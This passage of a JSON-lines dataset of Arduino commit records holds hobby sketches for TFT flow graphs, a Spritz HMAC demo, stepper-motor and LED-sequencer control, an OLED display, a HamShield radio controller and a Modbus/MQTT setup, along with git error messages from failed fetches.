\n\telse\n\t\ttft.drawPixel(graph_x,graph_y((float)flowPulseCount * mlPerFlowMeterPulse * perPixel),colorFlow); \n \/\/ Assaf - added to draw flow rate\n\tif (!isBackground && preInfusion)\n\t\t\ttft.drawPixel(graph_x, graph_y((float)mlPerFlowMeterPulsePreInfusion * 60.0 * 1000.0 * 0.66666 \/ (float)g_averageF.mean()), flowRate_Color); \/\/150ml\/min FR...\n\tif (!isBackground && !preInfusion)\n\t\t\ttft.drawPixel(graph_x, graph_y((float)mlPerFlowMeterPulse * 60.0 * 1000.0 * 0.66666 \/ (float)g_averageF.mean()), flowRate_Color); \/\/150ml\/min FR...\n}\n\nunsigned graph_y(float y)\n{\n\treturn constrain(260-(unsigned)(y),120,260);\n}\n\n\n\nvoid graphDrawFLB()\n{\n\tfloat perPixel = 1.35; \/\/135 pixels represent 100% signal (or 1.35 pixels \/ 1 percent) \n\t\/\/ draw Flow Limiter Bypass threshold dashed line\n\ttft.fillRect(0, 177, 33, 80, ILI9341_BLACK);\n\tprintSomething(\"FLB\", 10, 256-(FLBThreshold * perPixel), ILI9341_DARKGREY, NULL , false);\n\tfor (int i = 0; i < 70; i++)\n\t\ttft.drawFastHLine(31 + i * 3, 260 - (FLBThreshold * perPixel) , 2 , ILI9341_DARKGREY);\n} \n\nvoid graphDrawEmptyGraph()\n{\n\ttft.fillRect(34, 120, 206, 141, ILI9341_BLACK); \/\/redrawing only the graphing area so as to eliminate axis flicker......\n\n\t\/\/ Write the axis labels\n\tprintSomething(\"60ml\", 0, 115, flow_Color, NULL , false); \/\/-23\n\tprintSomething(\"100%\", 0, 127, PWM_Color, NULL , false);\n\tprintSomething(\"10bar\", 0, 139, pressure_Color , NULL , false);\n\tprintSomething(\"0\", 23, 258, ILI9341_LIGHTGREY, NULL , false);\n\tprintSomething(\"Time\", 115, 270, ILI9341_LIGHTGREY, NULL , false);\n\tprintSomething(\"100s\", 215, 268, ILI9341_LIGHTGREY, NULL , false);\n\tprintSomething(\"0s\", 32, 268, ILI9341_LIGHTGREY, NULL , false);\n\n\t\/\/ draw the axis\n\ttft.drawFastHLine(31,262,209,ILI9341_LIGHTGREY);\n\ttft.fillTriangle(240,262,237,260,237,264,ILI9341_LIGHTGREY);\n\ttft.drawFastVLine(33,115,147,ILI9341_LIGHTGREY); \/\/134-115 = 19\n\ttft.fillTriangle(33,115,31,118,35,118,ILI9341_LIGHTGREY);\n\n\t\/\/draw axis markers\n\ttft.drawFastVLine(232,259,6,ILI9341_ORANGE);\n\ttft.drawFastHLine(30,124 ,6,ILI9341_MAGENTA); \n\ttft.drawFastHLine(30,125,6,ILI9341_GREEN);\n\ttft.drawFastHLine(30,126,6,ILI9341_CYAN);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"22b75c8d39652390432299e8d667e22407766a1d","subject":"Simple Spritz Arduino HMAC example","message":"Simple Spritz Arduino HMAC example\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/Spritz_HMAC\/Spritz_HMAC.ino","new_file":"src\/Spritz_HMAC\/Spritz_HMAC.ino","new_contents":"#include <SpritzCipher.h>\n#include \"can_constants.h\"\n\nuint8_t MESSAGE[8] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};\nconst uint16_t MESSAGE_LEN = sizeof(MESSAGE);\nuint8_t CORRECT_KEY[3] = {0x00, 0x01, 0x02};\nconst uint16_t KEY_LEN = sizeof(CORRECT_KEY);\nuint8_t BAD_KEY[3] = {0x0f, 0x0e, 0x0d};\nconst uint8_t HASH_LEN = 20;\n\nuint8_t CORRECT_HASH[HASH_LEN];\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ Create the correct hash\n spritz_mac(&CORRECT_HASH[0], HASH_LEN, &MESSAGE[0], MESSAGE_LEN, &CORRECT_KEY[0], KEY_LEN);\n Serial.begin(9600);\n while(!Serial);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n Serial.print(\"Sending Correct Message...\");\n VerifyMessage(&MESSAGE[0], MESSAGE_LEN, &CORRECT_KEY[0], KEY_LEN);\n Serial.print(\"\\n\\nSending Incorrect Message...\");\n VerifyMessage(&MESSAGE[0], MESSAGE_LEN, &BAD_KEY[0], KEY_LEN);\n\n delay(10000);\n}\n\n\n\/\/-----------------------------------------------------------------------------------------------\n\n\nbool CompareHash(uint8_t *hash)\n{\n for(int i = 0; i < HASH_LEN; i++)\n {\n if (hash[i] != CORRECT_HASH[i])\n return false;\n }\n return true;\n}\n\nbool VerifyMessage(uint8_t *msg, uint16_t msgLen, uint8_t* key, uint16_t keyLen)\n{\n \/\/ Create hash based off given arguments\n uint8_t *hash = new uint8_t[HASH_LEN];\n spritz_mac(&hash[0], HASH_LEN, &msg[0], msgLen, &key[0], keyLen);\n\n if (CompareHash(&hash[0]))\n {\n Serial.println(\"SUCCESS!\");\n return true;\n }\n else\n {\n Serial.println(\"FAILED\");\n return false;\n }\n}\n\nvoid PrintMessage(int id, int dlc, byte* data)\n{\n Serial.print(id, HEX);\n Serial.print(\"#0\");\n Serial.print(dlc, HEX); \n for(int i = 0; i < dlc; i++)\n {\n if (data[i] < 0x10)\n Serial.print(\"0\");\n Serial.print(data[i], HEX);\n }\n Serial.print(\"\\n\");\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Spritz_HMAC\/Spritz_HMAC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bef4895992f490d8017d5ea748447f83f7fbdbb8","subject":"This commit adds TX to the pace clock that sends hello.","message":"This commit adds TX to the pace clock that sends hello.\n","repos":"maleagha\/PaceClock","old_file":"Two7SegmentLED\/Two7SegmentLED.ino","new_file":"Two7SegmentLED\/Two7SegmentLED.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/maleagha\/PaceClock.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1a99173ec765d8724fc7b5abd6c0093e9979a54f","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/02.Digital\/Debounce\/Debounce.ino","new_file":"build\/shared\/examples\/02.Digital\/Debounce\/Debounce.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 1a99173ec765d8724fc7b5abd6c0093e9979a54f\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"994f092e5c9729ee87a0866fd4d52c19b76d7be3","subject":"Create GPS_localization.ino","message":"Create GPS_localization.ino","repos":"TheThingsNetwork\/workshops,TheThingsNetwork\/workshops","old_file":"The Things Network\/localization\/GPS_localization.ino","new_file":"The Things Network\/localization\/GPS_localization.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'The' did not match any file(s) known to git\nerror: pathspec 'Things' did not match any file(s) known to git\nerror: pathspec 'Network\/localization\/GPS_localization.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d0cb8b3c2c7249c9b48e5082837852044e69afa0","subject":"make it compile","message":"make it compile\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"68b2cbbe1646c63a17bf4c1b67981ae0fb5833b8","subject":"Control motor PAP con el driver BD63873EFV","message":"Control motor PAP con el driver BD63873EFV\n","repos":"MrChunckuee\/STELLARIS-ENERGIA_Examples,MrChunckuee\/STELLARIS-ENERGIA_Examples","old_file":"LM4F_E012\/LM4F_E012.ino","new_file":"LM4F_E012\/LM4F_E012.ino","new_contents":"\/*******************************************************************************\n *\n * Control de motor paso a paso con el driver BD63873EFV\n *\n *******************************************************************************\n * FileName: LM4F_E012.ino\n * Processor: EX-LM4F120XL\n * Complier: Energia 1.6.10E18\n * Author: Pedro S\u00e1nchez (MrChunckuee)\n * Blog: http:\/\/mrchunckuee.blogspot.com\/\n * Email: mrchunckuee.psr@gmail.com\n * Description: Este ejemplo es un testo para control de un motor paso a paso \n * con el driver BD63873EFV, ambos rescatados de una vieja impresora\n *******************************************************************************\n * Rev. Date Comment\n * v0.0.0 25\/03\/2019 Creaci\u00f3n del firmware\n ******************************************************************************\/\n\n#define pinButton1 PUSH1\n#define pinLedRedStatus RED_LED\n#define pinLedGreenStatus GREEN_LED\n#define pinLedBlueStatus BLUE_LED\n#define pinClkDriver PA_2\n#define pinCwCcwDriver PA_3\n#define pinMode1Driver PA_4\n#define pinMode2Driver PB_6\n#define pinEnableDriver PB_7\n#define pinPSDriver PF_0\n\n\/\/ Variables will change:\nint ledState = LOW; \/\/ ledState used to set the LED\nlong previousMillis = 0; \/\/ will store last time LED was updated\nlong interval = 10; \/\/ interval at which to blink (milliseconds)\n\nvoid setup() {\n pinMode(pinButton1, INPUT_PULLUP);\n pinMode(pinLedRedStatus, OUTPUT);\n pinMode(pinLedGreenStatus, OUTPUT);\n pinMode(pinLedBlueStatus, OUTPUT);\n pinMode(pinClkDriver, OUTPUT);\n pinMode(pinCwCcwDriver, OUTPUT);\n pinMode(pinMode1Driver, OUTPUT);\n pinMode(pinMode2Driver, OUTPUT);\n pinMode(pinEnableDriver, OUTPUT);\n pinMode(pinPSDriver, OUTPUT);\n\n \/\/Init default driver\n digitalWrite(pinCwCcwDriver, LOW); \/\/Clockwise\n digitalWrite(pinMode1Driver, LOW); \/\/Full step\n digitalWrite(pinMode2Driver, LOW); \/\/Full step\n digitalWrite(pinEnableDriver, HIGH); \/\/Active\n digitalWrite(pinPSDriver, HIGH); \/\/Active\n}\n\nvoid loop() {\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis > interval) {\n \/\/ save the last time you blinked the LED \n previousMillis = currentMillis; \n \/\/ if the LED is off turn it on and vice-versa:\n if (ledState == LOW)\n ledState = HIGH;\n else\n ledState = LOW;\n \/\/ set the LED with the ledState of the variable:\n digitalWrite(pinLedGreenStatus, ledState);\n digitalWrite(pinClkDriver, ledState);\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LM4F_E012\/LM4F_E012.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"46fb9465346de65b6a82a49f306c5eacc010fd7e","subject":"some progress","message":"some progress\n","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"robot_main\/robot_main.ino","new_file":"robot_main\/robot_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7346cd1e795e2ff87e0f8a57a359dc670c4150b2","subject":"final version of the thing, finally","message":"final version of the thing, finally\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"ocean-x\/ocean-x.ino","new_file":"ocean-x\/ocean-x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"520cb153066f61cf49f2ec8c9c1e64d108d3a465","subject":"adding Hello World example and preparing for Arduino IDE","message":"adding Hello World example and preparing for Arduino IDE\n","repos":"acrobotic\/Ai_Ardulib_SSD1306,acrobotic\/Ai_Ardulib_SSD1306","old_file":"examples\/HelloWorld\/HelloWorld.ino","new_file":"examples\/HelloWorld\/HelloWorld.ino","new_contents":"\/*\n 06\/01\/2016\n Author: Makerbro\n Platforms: ESP8266\n Language: C++\n File: HelloWorld.ino\n ------------------------------------------------------------------------\n Description: \n Demo for OLED display -- writing a string.\n ------------------------------------------------------------------------\n Please consider buying products from ACROBOTIC to help fund future\n Open-Source projects like this! We'll always put our best effort in every\n project, and release all our design files and code for you to use. \n https:\/\/acrobotic.com\/\n ------------------------------------------------------------------------\n License:\n Released under the MIT license. Please check LICENSE.txt for more\n information. All text above must be included in any redistribution. \n*\/\n#include <Wire.h>\n#include <ACROBOTIC_SSD1306.h>\n\nvoid setup()\n{\n Wire.begin();\t\n oled.init(); \/\/ Initialze SSD1306 OLED display\n oled.clearDisplay(); \/\/ Clear screen\n oled.setTextXY(0,1); \/\/ Set cursor position\n oled.putString(\" ACROBOTIC \");\n oled.setTextXY(0,2); \/\/ Set cursor position\n oled.putString(\" industries \");\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HelloWorld\/HelloWorld.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f21f2334d7cced7a696d3cfd339e9536c7b4607a","subject":"arduino sequencer simple","message":"arduino sequencer simple\n","repos":"7Ds7\/sequencer","old_file":"Arduino\/sequencer_simple\/sequencer_simple.ino","new_file":"Arduino\/sequencer_simple\/sequencer_simple.ino","new_contents":"#define ARRAYSIZE(x) (sizeof(x)\/sizeof(*x))\n\nconst int ledStep1 = 2;\nconst int ledStep2 = 3;\nconst int ledStep3 = 4;\nconst int ledStep4 = 5;\n\nconst int ledStep5 = 6;\nconst int ledStep6 = 7;\nconst int ledStep7 = 8;\nconst int ledStep8 = 9;\n\nconst int gate = 13;\n\nconst int button1 = 11;\nconst int button2 = 12;\nconst int pot1 = A5;\n\nint stepArray[] = {ledStep1, ledStep2, ledStep3, ledStep4, ledStep5, ledStep6, ledStep7, ledStep8};\nint randArray[8];\n\/\/int stepArray[5] = {ledStep1, ledStep2, ledStep3, ledStep4};\n\n\nint beat = 120;\nint curvalue = -1;\n\nint stepCounter = 0;\n\nint mode = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(ledStep1, OUTPUT);\n pinMode(ledStep2, OUTPUT);\n pinMode(ledStep3, OUTPUT);\n pinMode(ledStep4, OUTPUT);\n pinMode(ledStep5, OUTPUT);\n pinMode(ledStep6, OUTPUT);\n pinMode(ledStep7, OUTPUT);\n pinMode(ledStep8, OUTPUT);\n pinMode(gate, OUTPUT);\n pinMode(button1, INPUT);\n pinMode(button2, INPUT);\n pinMode(pot1, INPUT);\n\n Serial.begin(9600);\n}\n\nvoid turnAllOff() {\n for ( int i= 0; i <= 7; i++ ) {\n digitalWrite(stepArray[i], LOW);\n }\n digitalWrite(gate, LOW);\n}\n\nvoid regularPlay() {\n Serial.println(\"regularPlay\");\n turnAllOff();\n digitalWrite(stepArray[stepCounter], HIGH);\n digitalWrite(gate, HIGH);\n\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\nvoid reversePlay() {\n Serial.println(\"reversePlay\");\n turnAllOff();\n digitalWrite(stepArray[stepCounter], HIGH);\n digitalWrite(gate, HIGH);\n\n stepCounter--;\n if ( stepCounter <= -1 ) {\n stepCounter = 7;\n } \n}\n\nvoid doublePlay() {\n Serial.println(\"doublePlay\");\n turnAllOff();\n\n digitalWrite(stepArray[stepCounter], HIGH); \n digitalWrite(stepArray[stepCounter+4], HIGH);\n digitalWrite(gate, HIGH);\n\n stepCounter++;\n if ( stepCounter >= 4 ) {\n stepCounter = 0;\n } \n}\n\nvoid randomPlay() {\n Serial.println(\"randomPlay\");\n turnAllOff();\n if ( stepCounter == 0 ) {\n for( int i = 0 ; i < 8 ; ++i ){\n randArray[ i ] = stepArray[ i ];\n } \n }\n for( int i = 0 ; i < 8 ; ++i ){\n Serial.println(randArray[i]);\n }\n Serial.println(\"--------\");\n Serial.println(ARRAYSIZE(randArray) );\n int arr_access = randArray[random(0, 8)];\n digitalWrite( arr_access, HIGH);\n digitalWrite(gate, HIGH);\n \/\/remove_element(arr_access\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\n\nint modeSelect() {\n boolean b1 = digitalRead(button1);\n boolean b2 = digitalRead(button2);\n int md = 0;\n Serial.println(b1);\n Serial.println(b2);\n if ( true ) {\n md = 0;\n }\n else if ( b1 == 0 && b2 == 0 ) {\n \/\/Serial.println(\"regularPlay\");\n md = 0;\n } else if ( b1 == 1 && b2 == 0 ) {\n \/\/Serial.println(\"reversePlay\");\n md = 1;\n } else if ( b1 == 0 && b2 == 1 ) {\n \/\/Serial.println(\"doublePlay\");\n md = 2;\n } else if ( b1 == 1 && b2 == 1 ) {\n md = 3;\n }\n \n return md;\n \n}\n\nvoid loop() {\n \/\/beat = 30 + 220*(analogRead(pot1)\/256);\n mode = modeSelect();\n\/\/ mode = 0;\n \/\/Serial.println(stepCounter);\n \/\/Serial.println(mode);\n \/\/Serial.println(analogRead(pot1));\n\/\/ Serial.print(\"\\n\");\n \/\/Serial.println(beat);\n if ( mode == 0) {\n \/\/Serial.println(\"Regular play\");\n regularPlay();\n } else if ( mode == 1 ) {\n \/\/Serial.println(\"Alternate play\");\n reversePlay();\n } else if ( mode == 2 ) {\n doublePlay();\n } else if ( mode == 3 ) {\n randomPlay(); \n }\n\/\/ Serial.println(digitalRead(button1));\n\/\/ Serial.println(digitalRead(button2));\n\/\/ Serial.println(mode);\n \/\/Serial.println(stepArray[stepCounter]);\n delay(beat);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/sequencer_simple\/sequencer_simple.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"41482b761bdb5a050e7600a3893d3e3852a07242","subject":"hmm there was a lot of text in the return codes","message":"hmm there was a lot of text in the return codes\n\nlet's reduce the code size by giving back numbers only. Sad but\nneccessary\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1416a5c1bf6165785a07826708dcb025d3cf5836","subject":"Adding App Serial Controller","message":"Adding App Serial Controller\n","repos":"EnhancedRadioDevices\/HamShield,EnhancedRadioDevices\/HamShield","old_file":"examples\/AppSerialController\/AppSerialController.ino","new_file":"examples\/AppSerialController\/AppSerialController.ino","new_contents":"\/* Hamshield\n * Example: SerialController\n * This application is used in conjunction with a computer to provide full serial control of HamShield.\n*\/\n\n#include <HamShield.h>\n\n#define PWM_PIN 3\n#define RESET_PIN A3\n#define SWITCH_PIN 2\n\nHamShield radio;\n\nuint8_t freq_buffer[32];\nuint8_t pl_tx_buffer[32];\nuint8_t pl_rx_buffer[32];\n\nvoid setup() {\n \/\/ NOTE: if not using PWM out, it should be held low to avoid tx noise\n pinMode(PWM_PIN, OUTPUT);\n digitalWrite(PWM_PIN, LOW);\n \n \/\/ prep the switch\n pinMode(SWITCH_PIN, INPUT_PULLUP);\n \n \/\/ set up the reset control pin\n pinMode(RESET_PIN, OUTPUT);\n digitalWrite(RESET_PIN, HIGH);\n \n Serial.begin(9600);\n Serial.println(\"If the sketch freezes at radio status, there is something wrong with power or the shield\");\n Serial.print(\"Radio status: \");\n int result = radio.testConnection();\n Serial.println(result,DEC);\n Serial.println(\"Setting radio to its defaults..\");\n radio.initialize();\n radio.setRfPower(0);\n radio.frequency(146520);\n}\n\nvoid loop() {\n if(Serial.available()) { \n uint8_t buf = Serial.read();\n Serial.write(buf);\n switch (buf) {\n case 'X': \/\/ absorb reset command because we are already reset\n break;\n case 'F': \/\/ frequency configuration command\n tune_freq(); break;\n case 'P': \/\/ TX PL Tone configuration command\n pl_tone_tx(); break;\n case 'R': \/\/ RX PL Tone configuration command\n pl_tone_rx(); break;\n case 'T': \/\/ turn on transmitter command\n tx_on(); break;\n case 'O': \/\/ turn off transmitter command\n tx_off(); break;\n case 'A': \/\/ configure amplifier\n amplifier(); break;\n case 'D': \/\/ configure predeemph \n predeemph(); break;\n default:\n break;\n }\n }\n}\n\nvoid tx_on() { \n radio.setModeTransmit();\n Serial.println(\"Transmitting\");\n}\n\nvoid tx_off() { \n radio.setModeReceive();\n Serial.println(\"Transmit off\");\n}\n\nvoid pl_tone_tx() { \n Serial.println(\"TX PL tone\");\n memset(pl_tx_buffer,0,32);\n uint8_t ptr = 0;\n while(1) { \n if(Serial.available()) { \n uint8_t buf = Serial.read();\n Serial.write(buf);\n if(buf == 'X') { return; }\n if(buf == '!') { pl_tx_buffer[ptr] = 0; program_pl_tx(); return; }\n if(ptr == 31) { return; }\n pl_tx_buffer[ptr] = buf; ptr++; \n }\n }\n}\n\nvoid program_pl_tx() { \n Serial.print(\"programming TX PL to \");\n for(int x = 0; x < 32; x++) {\n Serial.write(pl_tx_buffer[x]);\n }\n long pl_tx = atof(pl_tx_buffer);\n Serial.print(\" Which is FLOAT of \");\n Serial.println(pl_tx,DEC);\n radio.setCtcssEncoder(pl_tx);\n}\n\nvoid pl_tone_rx() { \n Serial.println(\"RX PL tone\");\n memset(pl_rx_buffer,0,32);\n uint8_t ptr = 0;\n while(1) { \n if(Serial.available()) { \n uint8_t buf = Serial.read();\n Serial.write(buf);\n if(buf == 'X') { return; }\n if(buf == '!') { pl_rx_buffer[ptr] = 0; program_pl_rx(); return; }\n if(ptr == 31) { return; }\n pl_rx_buffer[ptr] = buf; ptr++; \n }\n }\n}\n\nvoid program_pl_rx() { \n Serial.print(\"programming RX PL to \");\n for(int x = 0; x < 32; x++) {\n Serial.write(pl_rx_buffer[x]);\n }\n long pl_rx = atof(pl_rx_buffer);\n Serial.print(\" Which is FLOAT of \");\n Serial.println(pl_rx,DEC);\n radio.setCtcssDecoder(pl_rx);\n}\n\n\n\n\nvoid tune_freq() { \n Serial.println(\"program frequency mode\");\n memset(freq_buffer,0,32);\n uint8_t ptr = 0;\n while(1) {\n if(Serial.available()) { \n uint8_t buf = Serial.read();\n Serial.write(buf);\n if(buf == 'X') { return; }\n if(buf == '!') { freq_buffer[ptr] = 0; program_frequency(); return; } \n if(buf != '.') { freq_buffer[ptr] = buf; ptr++; } \n if(ptr == 31) { return; } \n }\n }\n}\n\nvoid program_frequency() { \n Serial.print(\"programming frequency to \");\n for(int x = 0; x < 32; x++) {\n Serial.write(freq_buffer[x]);\n }\n long freq = atol(freq_buffer);\n Serial.print(\" Which is LONG of \");\n Serial.println(freq,DEC);\n radio.frequency(freq);\n}\n\n\nvoid amplifier() {\n while(1) {\n if(Serial.available()) { \n uint8_t buf = Serial.read();\n Serial.write(buf);\n if(buf == 'X') { return; }\n if(buf != '!') { radio.setRfPower(buf); return; } \n if(buf == '!') { return; }\n }\n } \n \n \n } \n\nvoid predeemph() { }\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AppSerialController\/AppSerialController.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fd530bbba8177a376733e26f051f438c998240c4","subject":"Create Servo-2.ino","message":"Create Servo-2.ino","repos":"MidnightBWolf\/t1a01-app-Kaiya","old_file":"Final Project Backup\/Servo-2.ino","new_file":"Final Project Backup\/Servo-2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Final' did not match any file(s) known to git\nerror: pathspec 'Project' did not match any file(s) known to git\nerror: pathspec 'Backup\/Servo-2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bc7b9ce1e1659a07b5f6a267594ef365583cf567","subject":"Revert \"Revert \"Initial Commit of File\"\"","message":"Revert \"Revert \"Initial Commit of File\"\"\n\nThis reverts commit 2dce009f079e7dab6ab2a90b22da024efd7a7f04.\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"electrical\/Pause Switch\/pause_switch.ino","new_file":"electrical\/Pause Switch\/pause_switch.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'electrical\/Pause' did not match any file(s) known to git\nerror: pathspec 'Switch\/pause_switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b33e4982727318b515c2a7cbcec15aad95d58d2","subject":"fix comments","message":"fix comments\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d5b2268bb9bf4adb0eeb894fbfc00c0ad3c4799a","subject":"fix i2c power control","message":"fix i2c power control\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8bc1979249f0f30161cef2deb80a40676ecd1732","subject":"example that accurately controls the throttle and steering via serial","message":"example that accurately controls the throttle and steering via serial\n","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield","old_file":"examples\/Car\/FullSerialControl\/FullSerialControl.ino","new_file":"examples\/Car\/FullSerialControl\/FullSerialControl.ino","new_contents":"#include <Smartcar.h>\n#include <Wire.h>\n#include <Servo.h>\n\nCar car;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.setTimeout(200);\n car.begin()\n}\n\nvoid loop() {\n handleInput();\n}\n\nvoid handleInput() { \/\/handle serial input if there is any\n if (Serial.available()) {\n String input = Serial.readStringUntil('\\n');\n if (input.startsWith(\"m\")) {\n int throttle = input.substring(1).toInt();\n car.setSpeed(throttle);\n }else if (input.startsWith(\"t\")){\n int deg = input.substring(1).toInt();\n car.setAngle(deg);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Car\/FullSerialControl\/FullSerialControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a70ce43668904e54f5ed9990198a2efbbc915215","subject":"clean up","message":"clean up\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/reader_test\/reader_test.ino","new_file":"unit tests\/reader_test\/reader_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/reader_test\/reader_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"64f1787e3656108b896a49b89e274765c26eac4f","subject":"Create yun_mqtt_rs485_i2c_LCD.ino","message":"Create yun_mqtt_rs485_i2c_LCD.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"rr\/yun_mqtt_rs485_i2c_LCD.ino","new_file":"rr\/yun_mqtt_rs485_i2c_LCD.ino","new_contents":"#include <SimpleModbusMaster.h>\n#include <SPI.h>\n#include <Process.h>\n#include <YunClient.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <PubSubClient.h>\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h> \n#define I2C_ADDR 0x20 \n#define LED_OFF 0\n#define LED_ON 1\n\nchar* clientId = \"fromOVL\"; \n\nLiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\n\n#define baud 153600\n#define timeout 200\n#define polling 100 \n#define retry_count 10\nunsigned long time;\n\n\n#define MQTT_SERVER \"190.97.168.236\" \n\nchar message_buff[100];\n\nint val1 = 0;\nint val2 = 0;\nint val3 = 0;\nint val4 = 0;\nlong values []= {0,0,0,0};\n\n\/\/void callback(char* topic, byte* payload, unsigned int length);\n\n\n\n#define TxEnablePin 2 \n\n\/\/ The total amount of available memory on the master to store data\n#define TOTAL_NO_OF_REGISTERS 32\n\n\/\/ This is the easiest way to create new packets\n\/\/ Add as 